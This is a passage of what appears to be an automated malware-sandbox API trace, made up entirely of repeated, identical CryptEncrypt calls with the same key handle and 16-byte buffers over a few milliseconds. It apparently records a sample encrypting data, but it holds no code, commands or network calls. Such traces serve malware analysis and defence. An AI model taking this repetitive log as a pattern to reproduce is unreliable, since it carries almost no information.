pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.140] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.141] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.142] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.143] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.144] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.145] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 